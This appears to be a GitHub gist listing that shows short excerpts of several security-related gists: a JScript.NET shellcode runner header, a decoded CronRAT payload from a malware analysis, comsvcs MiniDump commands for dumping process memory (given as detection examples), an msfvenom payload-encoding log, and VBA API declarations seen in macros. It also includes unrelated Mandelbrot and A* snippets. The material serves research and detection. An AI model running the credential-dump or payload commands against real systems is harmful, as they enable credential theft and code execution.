Skip to content

Instantly share code, notes, and snippets.

View rickhenderson's full-sized avatar

Rick Henderson rickhenderson

View GitHub Profile
@rickhenderson
rickhenderson / jscriptsc.js
Created January 23, 2024 21:04 — forked from nek0y4nsu/jscriptsc.js
Janky Old JScript.NET Shellcode Runner
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
@gwillem
gwillem / _cronrat.sh
Last active August 27, 2024 18:17
This is the decoded payload from the CRON loader. Full analysis here: https://sansec.io/research/cronrat
set -eEu
set -o pipefail
trap 'echo "L$LINENO"; O70; exit -1' ERR
O54=4
function O70()
{
if [[ ! -z "${O57+x}" ]]; then
if [[ -f "${O57}" ]]; then
rm -f "${O57}"
fi
@JohnLaTwC
JohnLaTwC / examples.txt
Last active September 22, 2024 17:32
comsvcs MiniDump examples
By @JohnLaTwC
References:
https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense)
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
https://twitter.com/SBousseaden/status/1407742041170268166 - Calling MiniDump export by ordinal examples: (comsvcs,#24)
Detection Examples:
"C:\Windows\System32\rundll32.exe" C:\Windows\System32\comsvcs.dll MiniDump <PID> \Windows\Temp\<filename>.dmp full
@farzinenddo
farzinenddo / Powerless.cpp
Created March 23, 2020 18:44
Running Powershell with CLR in native runtime.
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")
int main(int argc, wchar_t* argv[])
{
HRESULT hr;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
ICLRRuntimeHost *pClrRuntimeHost = NULL;
❯ msfvenom -f python -p windows/exec cmd=calc exitfunc=seh --bad-chars '\x00\x20\x25\x26\x27\x2b\x2f\x5c\x7e' --smallest
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 216 (iteration=0)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 216 (iteration=0)
@JohnLaTwC
JohnLaTwC / APIs
Created February 12, 2020 21:00
Short List of APIs seen in VBA
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare PtrSafe Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function Keio2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
Public Declare Function VEEAAM2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
Public Declare Function wspPush2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
Declare Function GetLogicalDrives& Lib "kernel32" ()
Declare Function GetShortPathName Lib "Kernel32.dll" Alias _
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" ( _
Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
@jesusninoc
jesusninoc / PowershellAes.ps1
Created December 17, 2019 15:30 — forked from ctigeek/PowershellAes.ps1
Aes Encryption using powershell.
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
@odzhan
odzhan / bce32.asm
Last active September 20, 2021 19:57
Benny's Compression Engine
; млллллм млллллм млллллм
; кФ Benny's Compression Engine for Win32 ФП ллл ллл ллл ллл ллл ллл
; Г by Г мммллп плллллл ллллллл
; РФФФФФФФФФФФФФ Benny / 29A ФФФФФФФФФФФФФФй лллмммм ммммллл ллл ллл
; ллллллл ллллллп ллл ллл
;
;
;
;Hello everybody,
;
# Mandelbrot.R
# Myles Harrison
# everydayanaltics.ca
# -------------------
# "Naive" version
mandelbrot_naive <- function(xmin=-2, xmax=2, nx=500,
ymin=-1.5, ymax=1.5, ny=500,
n=100, showplot=TRUE,
@jamiees2
jamiees2 / astar.py
Created May 7, 2013 11:20
A* Algorithm implementation in python.
# Enter your code here. Read input from STDIN. Print output to STDOUT
class Node:
def __init__(self,value,point):
self.value = value
self.point = point
self.parent = None
self.H = 0
self.G = 0
def move_cost(self,other):
return 0 if self.value == '.' else 1